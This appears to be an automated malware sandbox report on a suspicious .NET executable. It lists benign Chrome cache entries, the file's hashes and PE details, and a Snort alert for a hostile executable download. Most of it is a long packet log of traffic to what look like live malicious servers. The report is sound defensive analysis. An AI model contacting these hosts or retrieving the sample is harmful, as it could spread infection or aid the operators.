transparent;outline-offset:-1px}.gb_i .gb_qa:hover,.gb_i .gb_qa:focus,.gb_i .gb_qa:active{background-color:rgba(227,227,227,.08)}.gb_i .gb_qa:focus-visible{border-color:#a8c7fa}.gb_ra{-webkit-box

Chrome Cache Entry: 519

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Chrome Cache Entry: 520

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2124)
Category:	downloaded
Size (bytes):	121628
Entropy (8bit):	5.506662476672723
Encrypted:	false
SSDEEP:	3072:QI9yvwslCsrCF9f/U2Dj3Fkk7rEehA5L1kx:l9ygsrieDkVaL1kx
MD5:	F46ACD807A10216E6EEE8EA51E0F14D6
SHA1:	4702F47070F7046689432DCF605F11364BC0FBED
SHA-256:	D6B84873D27E7E83CF5184AAEF778F1CCB896467576CD8AF2CAD09B31B3C6086
SHA-512:	811263DC85C8DAA3A6E5D8A002CCCB953CD01E6A77797109835FE8B07CABE0DEE7EB126274E84266229880A90782B3B016BA034E31F0E3B259BF9E66CA797028
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SCWmpDDGjPk.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAC/rs=AHpOoo_Pl64J0IIHlj2zBtEJ3ZwdaJC3HA/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){("undefined"!==typeof globalThis?globalThis:"undefined"!==typeof self?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x20000, ]);.var ba,ca,da,na,pa,va,wa,za;ba=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.da=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.ma=da(this);na=function(a,b){if(b)a:{var c=_.ma;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ca(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)re

Chrome Cache Entry: 521

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	19
Entropy (8bit):	3.6818808028034042
Encrypted:	false
SSDEEP:	3:VQRWN:VQRWN
MD5:	9FAE2B6737B98261777262B14B586F28
SHA1:	79C894898B2CED39335EB0003C18B27AA8C6DDCD
SHA-256:	F55F6B26E77DF6647E544AE5B45892DCEA380B7A6D2BFAA1E023EA112CE81E73
SHA-512:	29CB8E5462B15488B0C6D5FC1673E273FB47841E9C76A4AA5415CA93CEA31B87052BBA511680F2BC9E6543A29F1BBFBA9D06FCC08F5C65BEB115EE7A9E5EFF36
Malicious:	false
URL:	https://www.google.com/async/ddljson?async=ntp:2
Preview:	)]}'.{"ddljson":{}}

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.996292878849897
TrID:	Win64 Executable GUI Net Framework (217006/5) 49.88% Win64 Executable GUI (202006/5) 46.43% Win64 Executable (generic) (12005/4) 2.76% Generic Win/DOS Executable (2004/3) 0.46% DOS Executable Generic (2002/1) 0.46%
File name:	zlONcFaXkc.exe
File size:	648'192 bytes
MD5:	1c762a2cd186f1cde4b9e5d743eca3b5
SHA1:	a0eff9fa7b5ada96c8acf483de9519a9e2548d80
SHA256:	a5b0d190fc09cd5c1ea07fa6b12a7dd4ab5f517c778fb60e4e14060e00ddecc8
SHA512:	d43eec5905f9715c6b342232c2432ba1e91abe4ee514ccdc45706a7ffede2a1cf5589c0da7a0f5d6c70a8a26afad9394aa93222f475be4797607d7c0208d154a
SSDEEP:	12288:NgJ7AuurlRyI4mfcYmFlEBJo8S21j7YIwIPfZ3FjILSdAsBJWWZ8lz/:NgJ7ABrlCTBFlEBJNYpIZ3Fw0AEJWWZM
TLSH:	D8D423F44784E295EFDADFF05763C948C5A647F8B8800ED2AF3C1A1AE98C6E5112B14C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................."...0.................. .....@..... ....................... ............`...@......@............... .....

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x140000000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x89B686F2 [Fri Mar 20 05:04:50 2043 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa0000	0x55c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2c64	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x9dac0	0x9dc00	143a2a1b7e6529e10d76e69f1fe7d14e	False	0.9928684627575277	data	7.997352220653475	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xa0000	0x55c	0x600	1528753db4ddd00eb71c52477c23a6d5	False	0.396484375	data	3.9040154741084643	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xa0090	0x2cc	data			0.43575418994413406
RT_MANIFEST	0xa036c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/23/24-23:02:05.994156	TCP	2019714	ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile	49732	80	192.168.2.4	179.43.170.230

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 23, 2024 23:01:55.229594946 CEST	49675	443	192.168.2.4	173.222.162.32
Apr 23, 2024 23:02:03.976763010 CEST	49730	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:04.188574076 CEST	39001	49730	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:04.188843012 CEST	49730	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:04.453396082 CEST	49730	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:04.705821037 CEST	39001	49730	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:04.706202030 CEST	49730	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:04.838937998 CEST	49675	443	192.168.2.4	173.222.162.32
Apr 23, 2024 23:02:04.944278002 CEST	39001	49730	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:04.995325089 CEST	49730	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:05.206990957 CEST	39001	49730	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:05.217684984 CEST	49730	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:05.339745045 CEST	49731	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:05.429014921 CEST	39001	49730	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:05.429546118 CEST	39001	49730	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:05.429913998 CEST	49730	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:05.551384926 CEST	39001	49731	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:05.551461935 CEST	49731	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:05.566581011 CEST	49731	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:05.771295071 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:05.831278086 CEST	39001	49731	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:05.831353903 CEST	49731	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:05.992826939 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:05.992902040 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:05.994155884 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.062848091 CEST	39001	49731	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.104562044 CEST	49731	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.215739965 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.215800047 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.215842009 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.215882063 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.215922117 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.215945005 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.215960979 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.215976954 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.216001034 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.216039896 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.216054916 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.216078997 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.216133118 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.216136932 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.216176033 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.216403008 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.315586090 CEST	39001	49731	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.317573071 CEST	49731	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.355429888 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.433368921 CEST	49734	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.437783957 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.437849045 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.437891960 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.437930107 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.437969923 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.438004971 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.438036919 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.438008070 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.438082933 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.438086987 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.438122034 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.438162088 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.438182116 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.438199997 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.438237906 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.438256025 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.438277006 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.438316107 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.438324928 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.438354969 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.438393116 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.438409090 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.438431025 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.438467979 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.438505888 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.438527107 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.438548088 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.438549995 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.438586950 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.438635111 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.528704882 CEST	39001	49731	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.528898001 CEST	39001	49731	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.528969049 CEST	49731	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.566672087 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.566756964 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.566987991 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.645049095 CEST	39001	49734	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.645157099 CEST	49734	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.660285950 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.660351038 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.660423040 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.660432100 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.660461903 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.660501957 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.660545111 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.660552979 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.660583973 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.660587072 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.660621881 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.660660028 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.660671949 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.660698891 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.660736084 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.660746098 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.660775900 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.660815001 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.660828114 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.660928965 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.660965919 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.660968065 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.661004066 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.661041021 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.661045074 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.661078930 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.661117077 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.661123037 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.661154985 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.661191940 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.661199093 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.661230087 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.661267042 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.661273003 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.713931084 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.722784042 CEST	49734	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.737267971 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.784657001 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.784722090 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.784765959 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.784776926 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.784806967 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.784847975 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.784856081 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.784887075 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.784924030 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.784938097 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.784965992 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.785003901 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.785010099 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.785044909 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.785109043 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.959050894 CEST	80	49732	179.43.170.230	192.168.2.4
Apr 23, 2024 23:02:06.959120989 CEST	49732	80	192.168.2.4	179.43.170.230
Apr 23, 2024 23:02:06.974514008 CEST	39001	49734	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.974600077 CEST	49734	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.996541023 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.996608973 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.996649981 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.996671915 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.996689081 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.996728897 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.996767998 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.996787071 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.996804953 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.996819019 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.996845007 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.996884108 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.996922016 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.996932983 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.996959925 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.996973991 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.996999979 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.997039080 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.997076988 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.997095108 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.997117043 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.997123957 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.997157097 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.997195959 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.997234106 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.997247934 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.997273922 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:06.997279882 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:06.997317076 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.000570059 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.206408978 CEST	39001	49734	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208336115 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208357096 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208379030 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208410025 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208405972 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.208430052 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208447933 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208466053 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208470106 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.208486080 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208498955 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.208511114 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208527088 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.208529949 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208549023 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208564997 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208581924 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208583117 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.208600998 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208605051 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.208623886 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208638906 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.208642006 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208658934 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208678007 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208693981 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.208695889 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208714962 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208720922 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.208734035 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208753109 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208755016 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.208770037 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208786011 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.208789110 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208807945 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208825111 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208842039 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.208844900 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208863974 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208874941 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.208883047 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208899975 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208899975 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:07.208921909 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:07.208941936 CEST	80	49733	185.196.10.233	192.168.2.4
